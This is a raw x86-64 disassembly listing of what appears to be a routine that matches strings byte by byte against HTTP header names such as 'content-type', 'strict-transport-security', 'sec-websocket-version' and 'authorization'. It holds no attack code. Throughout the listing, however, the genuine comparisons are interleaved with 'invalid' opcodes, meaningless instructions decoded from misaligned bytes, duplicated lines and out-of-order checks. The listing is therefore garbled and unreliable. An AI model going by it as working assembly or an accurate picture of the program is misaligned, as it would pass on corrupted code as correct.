jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x69
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf630479], al
test dword [rbx + 0x26], edx
add byte [rax], al
cmp byte [rcx + 4], 0x63
jne case.0x14002ec2e.103
invalid
push rbx
add byte es:[rax], al
cmp byte [rcx + 5], 0x74
jne case.0x14002ec2e.103
test dword [rcx + 0x26], ecx
add byte [rax], al
invalid
test dword [rcx + 0x26], ecx
add byte [rax], al
invalid
add byte [rax + 0xf2d0679], al
test dword [rdi], edi
add byte es:[rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 7], 0x74
jne case.0x14002ec2e.103
jns 0x14002e724
je 0x14002e72e
test dword [0xc002e74b], esi
jns case.0x14002867a.51
cmp byte [rcx + 8], 0x72
jne case.0x14002ec2e.103
jb 0x14002e738
test dword [rbx], ebp
add byte es:[rax], al
cmp byte [rcx + 9], 0x61
jne case.0x14002ec2e.103
add byte es:[rax], al
jns 0x14002e73a
invalid
add byte es:[rax], al
cmp byte [rcx + 0xa], 0x6e
or ch, byte [rsi + 0xf]
test dword [rdi], edx
add byte es:[rax], al
jne case.0x14002ec2e.103
cmp byte [rcx + 0xb], 0x73
jne case.0x14002ec2e.103
invalid
add byte es:[rax], al
jns 0x14002e750
jae 0x14002e756
test dword [0xc002e773], ecx
or eax, 0x80000026
cmp byte [rcx + 0xc], 0x70
jns 0x14002e75b
jo 0x14002e760
jne case.0x14002ec2e.103
test dword [rbx], eax
add byte es:[rax], al
cmp byte [rcx + 0xd], 0x6f
jne case.0x14002ec2e.103
invalid
test ecx, edi
and eax, 0x79800000
invalid
invalid
jns 0x14002e771
add byte [rax + 0xf720e79], al
cmp byte [rcx + 0xe], 0x72
jne case.0x14002ec2e.103
test edi, ebp
invalid
add byte [rax], al
test edi, ebp
and eax, 0x79800000
pcmpeqb mm1, qword [rdi]
cmp byte [rcx + 0xf], 0x74
jne case.0x14002ec2e.103
invalid
je 0x14002e77e
test ebp, esp
and eax, 0x79800000
add byte [rax + 0xf2d1079], al
test ebx, ebx
invalid
add byte [rax + 0xf2d1079], al
test ebx, ebx
and eax, 0x79800000
adc dword [rbx + 0xf], esi
test ecx, edx
and eax, 0x79800000
adc ah, byte [rbp + 0xf]
test edi, eax
cmp byte [rcx + 0x10], 0x2d
jne case.0x14002ec2e.103
sub eax, 0x25db850f
add byte [rax], al
cmp byte [rcx + 0x11], 0x73
jne case.0x14002ec2e.103
cmp byte [rcx + 0x12], 0x65
jne case.0x14002ec2e.103
invalid
add byte [rax], al
and eax, 0x79800000
adc esp, dword [rbx + 0xf]
test dword [rbp - 0x7fffffdb], edi
and eax, 0x79800000
invalid
cmp byte [rcx + 0x13], 0x63
jne case.0x14002ec2e.103
invalid
add byte [rax], al
cmp byte [rcx + 0x14], 0x75
jne 0x14002e7b0
jne case.0x14002ec2e.103
test dword [rbx - 0x7fffffdb], esi
jns 0x14002e7be
cmp byte [rcx + 0x15], 0x72
jne case.0x14002ec2e.103
jb 0x14002e7ba
test dword [rcx - 0x7fffffdb], ebp
cmp byte [rcx + 0x16], 0x69
jne case.0x14002ec2e.103
invalid
add byte [rax], al
jns 0x14002e7c9
imul ecx, dword [rdi], 0x259f85
add byte [rax + 0xf741779], al
jns 0x14002e7d4
je 0x14002e7ce
and eax, 0x79800000
invalid
cmp byte [rcx + 0x17], 0x74
jns 0x14002e7d4
je 0x14002e7ce
jne case.0x14002ec2e.103
test dword [rbp - 0x4fffffdb], edx
mov dl, 0x79
add byte [rax + 0x4179b242], dh
mov al, 0x42
mov dl, 0x79
mov r8d, 0x18
mov eax, 0x18
jmp 0x14002e323
movzx edx, byte [rcx]
mov dh, 0x11
cmp edx, 0x6d
cli
insd dword [rdi], dx
je 0x14002f9bf
adc dword [rax], eax
add byte [rbx - 0x7af09c06], al
cli
invalid
invalid
test dword [rcx + 0x25], esi
cmp edx, 0x63
jne case.0x14002ec2e.103
cli
invalid
add byte [rax], al
movzx edx, byte [rcx + 1]
cmp edx, 0x61
je 0x140030994
add byte [rax], al
add byte [rax], al
cmp edx, 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x6e
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf740379], al
cmp byte [rcx + 3], 0x74
jne case.0x14002ec2e.103
invalid
add byte [rax], al
je 0x14002e81c
test dword [rdi + 0x25], eax
add byte [rax], al
and eax, 0x79800000
add al, 0x65
cmp byte [rcx + 4], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x6e
jne case.0x14002ec2e.103
invalid
add byte [rax], al
and eax, 0x79800000
invalid
cmp byte [rcx + 6], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 7], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 8], 0x74
jne case.0x14002ec2e.103
invalid
add byte [rax], al
cmp byte [rcx + 9], 0x79
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x70
jne case.0x14002ec2e.103
invalid
invalid
add byte [rax], al
jns 0x14002e85b
jo 0x14002e862
test dword [rcx], eax
and eax, 0x1db00000
mov al, 0x1d
add dword [0x15db2e85a], esp
mov al, 0x1d
mov dl, 0x65
mov r8d, 0xb
mov r8d, 0xb
jmp 0x14002e323
cmp byte [rcx], 0x61
jne case.0x14002ec2e.103
test ecx, ebp
and al, 0
invalid
test ecx, ebp
and al, 0
add byte [rax + 0xf630179], al
test edi, ebx
and al, 0
add byte [rax + 0xf630279], al
test ebp, edx
and al, 0
add byte [rax + 0xf650379], al
invalid
invalid
test ebx, ecx
cmp byte [rcx + 1], 0x63
jne case.0x14002ec2e.103
invalid
cmp byte [rcx + 2], 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x65
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
and al, 0
add byte [rax + 0xf730479], al
jns 0x14002e895
jae 0x14002e8a2
cmp byte [rcx + 4], 0x73
jne case.0x14002ec2e.103
jns 0x14002e895
jae 0x14002e8a2
test ecx, eax
and al, 0
add byte [rax + 0xf730579], al
test dword [rdi - 0x7fffffdc], esi
cmp byte [rcx + 5], 0x73
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x2d
jne case.0x14002ec2e.103
invalid
jns case.0x1400289b4.183
sub eax, 0x24ad850f
add byte [rax], al
add byte [rax + 0xf630779], al
invalid
invalid
and al, 0
invalid
add byte [rax + 0xf630779], al
test dword [rbx - 0x7fffffdc], esp
cmp byte [rcx + 8], 0x6f
jns 0x14002e8c1
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 9], 0x6e
jns 0x14002e8cc
or dword [rsi + 0xf], ebp
test dword [rdi - 0x7fffffdc], ecx
jns 0x14002e8d7
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x74
jne case.0x14002ec2e.103
invalid
or dh, byte [rdi + rcx - 0x7b]
test dword [rax + rax], esp
je 0x14002e8de
test dword [rbp - 0x7fffffdc], eax
jns 0x14002e8e2
add byte [rax + 0xf720b79], al
cmp byte [rcx + 0xb], 0x72
jne case.0x14002ec2e.103
test dword [rbx + 0x24], edi
add byte [rax], al
jb 0x14002e8e8
test dword [rbx + 0x24], edi
add byte [rax], al
cmp byte [rcx + 0xc], 0x6f
or al, 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 0xd], 0x6c
jne case.0x14002ec2e.103
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 0xf], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 0x10], 0x6c
jns 0x14002e919
insb byte [rdi], dx
jne case.0x14002ec2e.103
cmp byte [rcx + 0x11], 0x6c
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
add byte [rax + 0xf6f1279], al
test dword [0xc002e949], esi
invalid
invalid
jns 0x14002e93a
cmp byte [rcx + 0x12], 0x6f
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf771379], al
cmp byte [rcx + 0x13], 0x77
jne case.0x14002ec2e.103
ja 0x14002e938
test dword [rbx], ebp
and al, 0
add byte [rax + 0xf2d1479], al
test dword [rcx], esp
and al, 0
add byte [rax + 0xf631579], al
jns 0x14002e950
invalid
invalid
test dword [rdi], edx
cmp byte [rcx + 0x14], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 0x15], 0x63
jne case.0x14002ec2e.103
jns 0x14002e950
adc eax, 0x17850f63
invalid
and al, 0
add byte [rax + 0xf721679], al
jns 0x14002e95b
jb 0x14002e956
cmp byte [rcx + 0x16], 0x72
jne case.0x14002ec2e.103
and al, 0
invalid
jns 0x14002e95b
jb 0x14002e956
test dword [0xc002e971], ecx
jns 0x14002e966
and al, 0
add byte [rax + 0xf651779], al
test dword [rbx], eax
and al, 0
cmp byte [rcx + 0x17], 0x65
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
add byte [rax + 0xf641879], al
cmp byte [rcx + 0x18], 0x64
jne case.0x14002ec2e.103
invalid
test ecx, edi
and eax, dword [rax]
add byte [rax + 0xf651979], al
cmp byte [rcx + 0x19], 0x65
jne case.0x14002ec2e.103
test edi, ebp
out dx, eax
and eax, dword [rax]
add byte [rax + 0xf6e1a79], al
test ebp, esp
and eax, dword [rax]
add byte [rax + 0xf741b79], al
test ebx, ebx
cmp byte [rcx + 0x1a], 0x6e
jne case.0x14002ec2e.103
cmp byte [rcx + 0x1b], 0x74
jne case.0x14002ec2e.103
and eax, dword [rax]
invalid
and eax, dword [rax]
add byte [rax + 0xf691c79], al
imul ecx, dword [rdi], 0x23d185
cmp byte [rcx + 0x1c], 0x69
jne case.0x14002ec2e.103
imul ecx, dword [rdi], 0x23d185
add byte [rax + 0xf611d79], al
test edi, eax
and eax, dword [rax]
add byte [rax + 0xf6c1e79], al
jns 0x14002e9b3
insb byte [rdi], dx
invalid
cmp byte [rcx + 0x1d], 0x61
invalid
jne case.0x14002ec2e.103
cmp byte [rcx + 0x1e], 0x6c
jns 0x14002e9b3
insb byte [rdi], dx
jne case.0x14002ec2e.103
test dword [rbp - 0x4fffffdd], edi
add eax, 0xb84173b2
mov al, 5
mov dl, 0x73
mov r8d, 0x1f
jmp 0x14002e323
js 0x14002e9a2
invalid
invalid
invalid
js 0x14002e9a2
invalid
cmp byte [rcx], 0x73
jne case.0x14002ec2e.103
add byte [rax + 0xf650179], al
test dword [rbx - 0x7fffffdd], ebx
jns case.0x1400289b4.197
cmp byte [rcx + 1], 0x65
jns 0x14002e9b8
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x63
jne case.0x14002ec2e.103
invalid
xchg ecx, eax
and eax, dword [rax]
invalid
invalid
test dword [rcx - 0x7fffffdd], edx
jns 0x14002e9ce
add byte [rax + 0xf2d0379], al
test dword [rdi - 0x7fffffdd], eax
jns 0x14002e9d9
cmp byte [rcx + 3], 0x2d
jne case.0x14002ec2e.103
sub eax, 0x2387850f
xchg dword [rbx], esp
add byte [rax], al
cmp byte [rcx + 4], 0x77
jne case.0x14002ec2e.103
invalid
ja 0x14002e9e6
test dword [rbp + 0x23], edi
add byte [rax], al
invalid
and eax, dword [rax]
add byte [rax + 0xf650579], al
cmp byte [rcx + 5], 0x65
jne case.0x14002ec2e.103
test dword [rbx + 0x23], esi
add byte [rax], al
jne case.0x14002ec2e.103
test dword [rbx + 0x23], esi
add byte [rax], al
cmp byte [rcx + 6], 0x62
jne case.0x14002ec2e.103
cmp byte [rcx + 7], 0x73
jne case.0x14002ec2e.103
cmp byte [rcx + 8], 0x6f
jns 0x14002ea05
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 9], 0x63
jne case.0x14002ec2e.103
add byte [rax], al
jns case.0x14002ad69.265
invalid
add byte [rax], al
cmp byte [rcx + 0xa], 0x6b
jne case.0x14002ec2e.103
invalid
or ch, byte [rbx + 0xf]
test dword [rcx + 0x23], eax
add byte [rax], al
invalid
add byte [rax + 0xf650b79], al
test dword [rdi], esi
and eax, dword [rax]
add byte [rax + 0xf740c79], al
test dword [0xc002ea50], ebp
sub eax, 0x80000023
cmp byte [rcx + 0xb], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0xc], 0x74
jne case.0x14002ec2e.103
invalid
and eax, dword [rax]
invalid
sub eax, 0x80000023
cmp byte [rcx + 0xd], 0x2d
jne case.0x14002ec2e.103
and eax, dword [rax]
invalid
jns 0x14002ea3c
sub eax, 0x2323850f
add byte [rax], al
and eax, dword [rax]
add byte [rax + 0xf650e79], al
test dword [rcx], ebx
and eax, dword [rax]
cmp byte [rcx + 0xe], 0x65
jne case.0x14002ec2e.103
invalid
sbb dword [rbx], esp
add byte [rax], al
invalid
add byte [rax + 0xf780f79], al
test dword [rdi], ecx
cmp byte [rcx + 0xf], 0x78
jne case.0x14002ec2e.103
and eax, dword [rax]
invalid
and eax, dword [rax]
add byte [rax + 0xf741079], al
adc byte [rdi + rcx - 0x7b], dh
add eax, 0x80000023
cmp byte [rcx + 0x10], 0x74
jne case.0x14002ec2e.103
adc byte [rdi + rcx - 0x7b], dh
add eax, 0x80000023
and eax, dword [rax]
add byte [rax + 0xf651179], al
test ebx, edi
jns case.0x14002e30e.114
jne case.0x14002ec2e.103
and al, byte [rax]
add byte [rax + 0xf6e1279], al
cmp byte [rcx + 0x12], 0x6e
jne case.0x14002ec2e.103
test ecx, esi
and al, byte [rax]
invalid
test ecx, esi
and al, byte [rax]
add byte [rax + 0xf731379], al
cmp byte [rcx + 0x13], 0x73
jne case.0x14002ec2e.103
add byte [rax], al
cmp byte [rcx + 0x14], 0x69
jne case.0x14002ec2e.103
cmp byte [rcx + 0x15], 0x6f
jne case.0x14002ec2e.103
add byte [rax], al
cmp byte [rcx + 0x16], 0x6e
jne case.0x14002ec2e.103
mov al, 0x3c
mov dl, 0x73
mov r8d, 0x17
cmp byte [rcx + 0x13], 0x73
jne case.0x14002ec2e.103
add byte [rax], al
cmp byte [rcx + 0x14], 0x69
jne case.0x14002ec2e.103
cmp byte [rcx + 0x15], 0x6f
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0x16], 0x6e
jns 0x14002ea9f
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
mov al, 0x3c
mov dl, 0x73
mov r8d, 0x17
add byte [rax], al
add cl, ch
test al, bh
invalid
jmp 0x14002e323
movzx edx, byte [rcx]
mov dh, 0x11
cmp edx, 0x63
je 0x14002fa2a
cmp edx, 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 1], 0x63
jns 0x14002eab8
invalid
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x65
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
add byte [rax + 0xf700479], al
test dword [rbp + 0x22], edi
add byte [rax], al
invalid
cmp byte [rcx + 4], 0x70
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf740579], al
test dword [rbx + 0x22], esi
add byte [rax], al
cmp byte [rcx + 5], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x2d
jne case.0x14002ec2e.103
and al, byte [rax]
invalid
and al, byte [rax]
add byte [rax + 0xf630779], al
test dword [rdi + 0x22], ebx
and al, byte [rax]
invalid
cmp byte [rcx + 7], 0x63
jne case.0x14002ec2e.103
and al, byte [rax]
invalid
and al, byte [rax]
add byte [rax + 0xf680879], al
cmp byte [rcx + 8], 0x68
jne case.0x14002ec2e.103
test dword [rbp + 0x22], edx
add byte [rax], al
test dword [rbp + 0x22], edx
add byte [rax], al
cmp byte [rcx + 9], 0x61
jne case.0x14002ec2e.103
test dword [rbx + 0x22], ecx
add byte [rax], al
test dword [rbx + 0x22], ecx
add byte [rax], al
cmp byte [rcx + 0xa], 0x72
jne case.0x14002ec2e.103
test dword [rcx + 0x22], eax
add byte [rax], al
test dword [rcx + 0x22], eax
add byte [rax], al
and al, byte [rax]
add byte [rax + 0xf730b79], al
cmp byte [rcx + 0xb], 0x73
jne case.0x14002ec2e.103
test dword [rdi], esi
and al, byte [rax]
invalid
test dword [rdi], esi
and al, byte [rax]
add byte [rax + 0xf650c79], al
jns 0x14002eb31
jne case.0x14002ec2e.103
mov al, 1
mov dl, 0x74
je 0x14002eb72
mov eax, 0xd
jmp 0x14002e323
cmp byte [rcx], 0x73
jne case.0x14002ec2e.103
invalid
jns case.0x14002bbcb.58
cmp byte [rcx + 0xc], 0x65
jne case.0x14002ec2e.103
jns 0x14002eb31
jne case.0x14002ec2e.103
mov al, 1
mov dl, 0x74
je 0x14002eb72
mov eax, 0xd
je 0x14002eb72
mov eax, 0xd
jmp 0x14002e323
invalid
cmp byte [rcx], 0x73
jne case.0x14002ec2e.103
cmp byte [rcx + 1], 0x65
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
and al, byte [rax]
add byte [rax + 0xf630279], al
test dword [rcx], eax
and al, byte [rax]
cmp byte [rcx + 2], 0x63
jne case.0x14002ec2e.103
add byte [rax + 0xf2d0379], al
test edi, esi
cmp byte [rcx + 3], 0x2d
jne case.0x14002ec2e.103
and dword [rax], eax
add byte [rax + 0xf770479], al
add al, 0x77
invalid
test ebp, ebp
add byte [rax], al
cmp byte [rcx + 4], 0x77
add al, 0x77
jne case.0x14002ec2e.103
and dword [rax], eax
add byte [rax + 0xf650579], al
jns 0x14002eb74
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x62
invalid
cmp byte [rcx + 5], 0x65
jne case.0x14002ec2e.103
jns 0x14002eb74
jne case.0x14002ec2e.103
jrcxz 0x14002eb95
add byte [rax], al
cmp byte [rcx + 6], 0x62
jne case.0x14002ec2e.103
test ecx, ebx
and dword [rax], eax
invalid
invalid
test ecx, ebx
and dword [rax], eax
add byte [rax + 0xf730779], al
fldenv [rcx]
add byte [rax], al
cmp byte [rcx + 7], 0x73
jne case.0x14002ec2e.103
test edi, ecx
and dword [rax], eax
invalid
test edi, ecx
and dword [rax], eax
add byte [rax + 0xf6f0879], al
test ebp, eax
invalid
and dword [rax], eax
add byte [rax + 0xf630979], al
cmp byte [rcx + 9], 0x63
jne case.0x14002ec2e.103
invalid
jns 0x14002ebab
cmp byte [rcx + 8], 0x6f
jne case.0x14002ec2e.103
invalid
and dword [rax], eax
invalid
invalid
cmp byte [rcx + 9], 0x63
jns 0x14002eba0
invalid
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x6b
or ch, byte [rbx + 0xf]
test dword [rcx - 0x7fffffdf], esi
jns 0x14002ebb6
imul ecx, dword [rdi], 0xffffff85
mov cl, 0x21
add byte [rax], al
jne case.0x14002ec2e.103
cmp byte [rcx + 0xb], 0x65
jne case.0x14002ec2e.103
and dword [rax], eax
invalid
jne case.0x14002ec2e.103
test dword [rdi - 0x7fffffdf], esp
jns 0x14002ebc1
invalid
and dword [rax], eax
add byte [rax], al
add byte [rax + 0xf740c79], al
cmp byte [rcx + 0xc], 0x74
or al, 0x74
je 0x14002ebc6
jne case.0x14002ec2e.103
test dword [rbp - 0x7fffffdf], ebx
jns 0x14002ebcc
cmp byte [rcx + 0xd], 0x2d
jne case.0x14002ec2e.103
add byte [rax], al
sub eax, 0x2193850f
test dword [rbx - 0x7fffffdf], edx
jns 0x14002ebd7
invalid
add byte [rax], al
cmp byte [rcx + 0xe], 0x76
jne case.0x14002ec2e.103
and dword [rax], eax
invalid
invalid
jbe 0x14002ebda
test dword [rcx - 0x7fffffdf], ecx
jns case.0x14001d534.441
mov dword [rcx], esp
add byte [rax], al
and dword [rax], eax
add byte [rax + 0xf650f79], al
test dword [rdi + 0x21], edi
add byte [rax], al
cmp byte [rcx + 0xf], 0x65
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
and dword [rax], eax
add byte [rax + 0xf721079], al
test dword [rbp + 0x21], esi
jne 0x14002ec03
cmp byte [rcx + 0x10], 0x72
jne case.0x14002ec2e.103
jne 0x14002ec03
add byte [rax], al
jne 0x14002ec03
add byte [rax], al
cmp byte [rcx + 0x11], 0x73
jne case.0x14002ec2e.103
test dword [rbx + 0x21], ebp
add byte [rax], al
cmp byte [rcx + 0x12], 0x69
jne case.0x14002ec2e.103
test dword [rcx + 0x21], esp
add byte [rax], al
test dword [rcx + 0x21], esp
add byte [rax], al
and dword [rax], eax
add byte [rax + 0xf6f1379], al
jns 0x14002ec0e
outsd dx, dword [rsi]
invalid
test dword [rdi + 0x21], edx
cmp byte [rcx + 0x13], 0x6f
jns 0x14002ec0e
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
add byte [rax], al
mov al, 0x3f
mov dl, 0x6e
mov r8d, 0x14
jmp 0x14002e323
invalid
invalid
invalid
idiv edi
invalid
dec dword [rdi]
mov dh, 0x11
movzx edx, byte [rcx]
add edx, 0xffffff9c
cmp edx, 0x12
cli
adc cl, byte [rdi]
xchg dword [rcx], edi
and dword [rax], eax
add byte [rax], al
cli
adc cl, byte [rdi]
xchg dword [rcx], edi
and dword [rax], eax
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
imul eax, dword [rbx + 0x63490014], 0x14c9014
invalid
invalid
lea r8, [0x140176f90]
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
ret 0xe2ff
cmp byte [rcx + 1], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x74
jne case.0x14002ec2e.103
jns 0x14002ec3f
je 0x14002ec4e
test dword [0xf002ec66], edx
and byte [rdx + 0x3b84165], dh
add byte [rax], al
add cl, ch
sal dh, 1
invalid
mov al, 0x20
mov dl, 0x65
mov r8d, 3
jmp 0x14002e323
cmp byte [rcx], 0x63
jne case.0x14002ec2e.103
std
and byte [rax], al
invalid
std
and byte [rax], al
add byte [rax + 0xf6f0179], al
cmp byte [rcx + 1], 0x6f
invalid
cmp byte [rcx + 1], 0x6f
jne case.0x14002ec2e.103
add dword [rdi + 0xf], ebp
test ebx, esi
and byte [rax], al
add byte [rax + 0xf6e0279], al
test ecx, ebp
and byte [rax], al
add byte [rax + 0xf740379], al
invalid
cmp byte [rcx + 2], 0x6e
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x74
jne case.0x14002ec2e.103
test edi, ebx
and byte [rax], al
add byte [rax], al
cmp byte [rcx + 4], 0x65
invalid
test ebp, edx
add byte [rax], al
cmp byte [rcx + 4], 0x65
add al, 0x65
jne case.0x14002ec2e.103
and byte [rax], al
add byte [rax + 0xf6e0579], al
test ebx, ecx
and byte [rax], al
add byte [rax], al
cmp byte [rcx + 6], 0x74
invalid
cmp byte [rcx + 5], 0x6e
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 6], 0x74
jne case.0x14002ec2e.103
je 0x14002eca2
test ecx, eax
and byte [rax], al
add byte [rax + 0xf2d0779], al
test dword [rdi - 0x7fffffe0], esi
add byte [rax], al
invalid
jns case.0x140029f23.71
invalid
cmp byte [rcx + 7], 0x2d
jne case.0x14002ec2e.103
add byte [rax], al
cmp byte [rcx + 8], 0x73
jne case.0x14002ec2e.103
or byte [rbx + 0xf], dh
jae 0x14002ecb6
test dword [rbp - 0x7fffffe0], ebp
cmp byte [rcx + 9], 0x65
jne case.0x14002ec2e.103
jns 0x14002ecb8
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x63
jne case.0x14002ec2e.103
or ah, byte [rbx + 0xf]
test dword [rcx - 0x7fffffe0], ebx
invalid
cdq
and byte [rax], al
add byte [rax + 0xf750b79], al
jns 0x14002ecce
jne 0x14002ecd4
cmp byte [rcx + 0xb], 0x75
jne case.0x14002ec2e.103
invalid
invalid
and byte [rax], al
invalid
jns 0x14002ecce
jne 0x14002ecd4
test dword [rdi - 0x7fffffe0], ecx
jns 0x14002ecd9
cmp byte [rcx + 0xc], 0x72
jb 0x14002ecde
jne case.0x14002ec2e.103
test dword [rbp - 0x7fffffe0], eax
cmp byte [rcx + 0xd], 0x69
jne case.0x14002ec2e.103
invalid
jns 0x14002ece4
imul ecx, dword [rdi], 0x207b85
test dword [rbx + 0x20], edi
add byte [rax], al
invalid
add byte [rax + 0xf740e79], al
test dword [rcx + 0x20], esi
cmp byte [rcx + 0xe], 0x74
jne case.0x14002ec2e.103
jno 0x14002ed06
add byte [rax], al
cmp byte [rcx + 0xf], 0x79
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf2d1079], al
test dword [rbp + 0x20], ebx
cmp byte [rcx + 0x10], 0x2d
jne case.0x14002ec2e.103
add byte [rax], al
cmp byte [rcx + 0x11], 0x70
jne case.0x14002ec2e.103
cmp byte [rcx + 0x12], 0x6f
jne case.0x14002ec2e.103
and byte [rax], al
invalid
and byte [rax], al
add byte [rax + 0xf6c1379], al
jns 0x14002ed26
insb byte [rdi], dx
jne case.0x14002ec2e.103
cmp byte [rcx + 0x14], 0x69
jne case.0x14002ec2e.103
and byte [rax], al
invalid
invalid
jns 0x14002ed3c
cmp byte [rcx + 0x13], 0x6c
jns 0x14002ed26
insb byte [rdi], dx
jne case.0x14002ec2e.103
cmp byte [rcx + 0x14], 0x69
jne case.0x14002ec2e.103
and byte [rax], al
invalid
and byte [rax], al
add byte [rax + 0xf631579], al
test dword [rbx], ebp
cmp byte [rcx + 0x15], 0x63
jne case.0x14002ec2e.103
adc eax, 0x2b850f63
invalid
and byte [rax], al
add byte [rax + 0xf791679], al
jns 0x14002ed47
jns 0x14002ed42
cmp byte [rcx + 0x16], 0x79
jne case.0x14002ec2e.103
jns 0x14002ed47
jns 0x14002ed42
test dword [rcx], esp
and byte [rax], al
add byte [rax + 0xf2d1779], al
cmp byte [rcx + 0x17], 0x2d
jne case.0x14002ec2e.103
test dword [rdi], edx
and byte [rax], al
add byte [rax + 0xf721879], al
cmp byte [rcx + 0x18], 0x72
jne case.0x14002ec2e.103
add byte [rax], al
test dword [0xc002ed6d], ecx
jns 0x14002ed68
add byte [rax], al
add byte [rax + 0xf651979], al
test dword [rbx], eax
and byte [rax], al
cmp byte [rcx + 0x19], 0x65
jne case.0x14002ec2e.103
invalid
jne case.0x14002ec2e.103
add byte [rax + 0xf701a79], al
test ecx, edi
invalid
cmp byte [rcx + 0x1a], 0x70
jne case.0x14002ec2e.103
jns 0x14002ed7e
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
out dx, eax
invalid
add byte [rax], al
out dx, eax
invalid
add byte [rax], al
cmp byte [rcx + 0x1c], 0x72
jne case.0x14002ec2e.103
in eax, 0x1f
add byte [rax], al
jns case.0x14001d534.314
jb 0x14002ed7e
test ebp, esp
invalid
cmp byte [rcx + 0x1d], 0x74
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf2d1e79], al
test ecx, edx
invalid
cmp byte [rcx + 0x1e], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 0x1f], 0x6f
jns 0x14002edaa
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 0x20], 0x6e
jne case.0x14002ec2e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 0x21], 0x6c
jns 0x14002edc0
insb byte [rdi], dx
jne case.0x14002ec2e.103
mov al, 0x1c
mov dl, 0x79
mov r8d, 0x22
jmp 0x14002e323
movzx edx, byte [rcx]
mov dh, 0x11
add edx, 0xffffff9f
cmp edx, 0x16
ja case.0x14002ec2e.103
xchg ebp, eax
invalid
lea r8, [0x140177024]
adc al, 0
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
invalid
ret 0xe2ff
jmp rdx
cmp byte [rcx + 1], 0x6c
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x74
jne case.0x14002ec2e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 3], 0x2d
jne case.0x14002ec2e.103
invalid
invalid
add byte [rax], al
invalid
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x76
jne case.0x14002ec2e.103
invalid
jns 0x14002ee04
jbe 0x14002ee10
test dword [rbx + 0x1f], edx
add byte [rax], al
add byte [rax + 0x4163b20f], dh
mov eax, 6
mov al, 0xf
mov dl, 0x63
mov r8d, 6
jmp 0x14002e323
cmc
invalid
dec dword [rdi]
mov dh, 0x11
movzx edx, byte [rcx]
add edx, 0xffffff9f
cmp edx, 0xb
ja case.0x14002ec2e.103
invalid
add byte [rax], al
ret 0x839f
invalid
add byte [rbp + rcx*4 + 5], cl
push rbp
invalid
lea r8, [0x140177080]
movsxd rdx, dword [r8 + rdx*4]
nop
nop
add rdx, r8
add edx, eax
jmp rdx
movzx edx, byte [rcx + 1]
cmp edx, 0x63
je 0x1400309fd
add byte [rax], al
add byte [rbx - 0x7af08a06], al
nop dword [rax]
invalid
add byte [rax], al
cmp byte [rcx + 2], 0x74
jne case.0x14002ec2e.103
invalid
cmp edx, 0x75
jne case.0x14002ec2e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 2], 0x74
jne case.0x14002ec2e.103
add dh, byte [rdi + rcx - 0x7b]
add eax, 0x8000001f
jns 0x14002ee5a
push 0x1efb850f
sti
invalid
add byte [rax], al
cmp byte [rcx + 4], 0x6f
jne case.0x14002ec2e.103
add byte [rax + 0xf6f0479], al
test ecx, esi
invalid
cmp byte [rcx + 5], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x69
jne case.0x14002ec2e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 7], 0x7a
jne case.0x14002ec2e.103
jp 0x14002ee90
test ebx, edx
invalid
cmp byte [rcx + 8], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 9], 0x74
jne case.0x14002ec2e.103
je 0x14002eea4
test dword [rdi - 0x7fffffe2], edi
